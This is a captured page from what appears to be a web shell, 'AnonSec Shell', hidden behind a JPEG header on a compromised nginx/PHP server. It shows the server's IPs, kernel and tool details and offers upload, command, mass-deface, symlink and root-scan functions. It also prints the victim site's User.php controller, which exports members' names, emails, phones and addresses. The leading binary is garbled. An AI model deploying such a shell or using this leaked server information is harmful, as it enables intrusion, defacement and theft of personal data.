JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.197.30   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/cms/apps/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/cms/apps/controllers/User.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class User extends CI_Controller {

	function __construct(){
		parent::__construct();		
		$this->load->model('Modglobal');

		if (!$this->session->userdata('logged_in')) {
        	redirect('/');
        }
 
	}
	public function index()
	{
		$page = "user";
		$user_id = $this->session->userdata('id');

		/* $user_query= $this->Modglobal->find('member', array());
		$user = $user_query->result_array();
		$user_num = $user_query->num_rows(); */

		$query= $this->Modglobal->find('member', array());
		$detail= $query->row_array();
		$user_num = $query->num_rows();

		/* 2022/06/10 - 02:46:29pm

		2023/02/27 - 09:19:35pm */

		if($this->input->get('date')){
            $date = str_replace(' ','',$this->input->get('date'));
            $date = explode('-', $date);
			$date_start = $date[0];
			$date_end = $date[1];
           // echo $date_end,'-'.$date_start,'-';
			if($date_end == $date_start) {
                //echo 'sama';
				$list_query= $this->Modglobal->find('member', array(),'',array('create_date' => $date_start));
                
			}
			else {
				$this->db->where('create_date BETWEEN "'. date('Y/m/d', strtotime($date_start)). '" and "'. date('Y/m/d', strtotime($date_end)).'"');
                //$this->db->where('campaign_id', $id);
				$this->db->order_by("id", "");
				$list_query= $this->db->get('member');
                //echo 'beda';
			}
        }
		else {
			$list_query= $this->Modglobal->find('member', array(),'');
		}

		$list = $list_query->result_array();


		$data = array(
			'content' => 'user/index',
			'user' => $list,
			'user_num' => $user_num,
            'page' => $page,
		);
		$this->load->view('layouts/base', $data);
	}
	
	public function view()
	{
		$page = "user";
		$form = "edit";
		$user_id = $this->session->userdata('id');

		$id = $this->uri->segment(3);

		$member_query= $this->Modglobal->find('member', array('id' => $id));
		$member = $member_query->row_array();

		$data = array(
			'content' => 'user/view',
			'member' => $member,
			'level' => $level,
			'status' => $status,
			'page' => $page,
			'form' => $form,
		);
		$this->load->view('layouts/base', $data);
	}

	public function download()
	{
		$today = date_full_dua(date('Y/m/d'));
        $date = $this->input->post('date');
		
        if($this->input->post('date')){
            $date = str_replace(' ','',$this->input->post('date'));
            $date = explode('-', $date);
			$date_start = $date[0];
			$date_end = $date[1];
			if($date_end == $date_start) {
				$title = 'Data Member ('.date_full_dua($date_start).')';
                //echo 'sama';
				$title = "Data Member";
				$request_query= $this->Modglobal->find('member', array(),'id',array('create_date' => $date_start));
                
			}
			else {
				$title = 'Data Member ('.date_full_dua($date_start).' - '.date_full_dua($date_end).')';
				$this->db->where('create_date BETWEEN "'. date('Y/m/d', strtotime($date_start)). '" and "'. date('Y/m/d', strtotime($date_end)).'"');
                //$this->db->where('tipe_name', $tipe);
				$request_query= $this->db->get('member');
                //echo 'beda';
			}
        }
        else {
			$title = 'All Data Member ('.$today.')';
            $request_query= $this->Modglobal->find('member', array());
		   
        }

        $request = $request_query->result_array();
       

        //$this->load->library("excel");

        // Load plugin PHPExcel nya
		include APPPATH.'third_party/PHPExcel/PHPExcel.php';
		
		// Panggil class PHPExcel nya
		$csv = new PHPExcel();

        // Settingan awal fil excel
        $csv->getProperties()->setCreator('Data Member-'.$title)
                    ->setLastModifiedBy('Data Member-'.$title)
                    ->setTitle('Data Member-'.$title)
                    ->setSubject('Data Member-'.$title)
                    ->setDescription('Data Member-'.$title)
                    ->setKeywords('Data Member-'.$title);

        $csv->setActiveSheetIndex(0)->setCellValue('A1', "No");
        $csv->setActiveSheetIndex(0)->setCellValue('B1', "Nama");
        $csv->setActiveSheetIndex(0)->setCellValue('C1', "Email");
        $csv->setActiveSheetIndex(0)->setCellValue('D1', "Nomor Telepon");
        $csv->setActiveSheetIndex(0)->setCellValue('E1', "Gender");
		$csv->setActiveSheetIndex(0)->setCellValue('F1', "Alamat");
		$csv->setActiveSheetIndex(0)->setCellValue('G1', "Tanggal lahir");
		$csv->setActiveSheetIndex(0)->setCellValue('H1', "Tanggal Daftar");
        

        $no = 1; // Untuk penomoran tabel, di awal set dengan 1
        $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2

        
        foreach($request as $row){ // Lakukan looping pada variabel siswa
			$alamat = $row['alamat'].', '.$row['kecamatan'].' '.$row['kelurahan'].' '.$row['kota'].' '.$row['provinsi'].' '.$row['kodepos'];

			/* $anak_query= $this->Modglobal->find('request_anak', array('request_id' => $row['id']),'');
			$anak = $anak_query->result_array();
			$anak_single = $anak_query->row_array();
			$anak_num = $anak_query->num_rows(); */

			$csv->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);
			$csv->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $row['name']);
			$csv->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $row['email']);
			$csv->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $row['tlp']);
			$csv->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $row['gender']);
			$csv->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $alamat);
			$csv->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $row['ttl']);
			$csv->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $row['create_date']);

			/* if($row['anak'] > 1) {
				foreach($anak as $row_anak){
					$csv->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $row_anak['nama_anak']);
					$csv->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $row_anak['gender_anak']);
					$csv->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $row_anak['ttl_anak']);
					$csv->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $row_anak['susu']);
					$csv->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $row['create_date']);
					$numrow++;
				}
			}
			else {
				

				$csv->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $anak_single['nama_anak']);
				$csv->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $anak_single['gender_anak']);
				$csv->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $anak_single['ttl_anak']);
				$csv->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $anak_single['susu']);
				$csv->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $row['create_date']);
				$numrow++; // Tambah 1 setiap kali looping
			} */
			$numrow++;
            $no++; // Tambah 1 setiap kali looping
            
        }
        // Set orientasi kertas jadi LANDSCAPE
        $csv->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);
        // Set judul file excel nya
        $csv->getActiveSheet(0)->setTitle("Data User Member");
        $csv->setActiveSheetIndex(0);
        // Proses file excel
        header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
        header('Content-Disposition: attachment; filename="Report '.$title.'.csv"'); // Set nama file excel nya
        header('Cache-Control: max-age=0');
        $write = new PHPExcel_Writer_CSV($csv);
        $write->save('php://output');
	}
	
}

Anon7 - 2022
AnonSec Team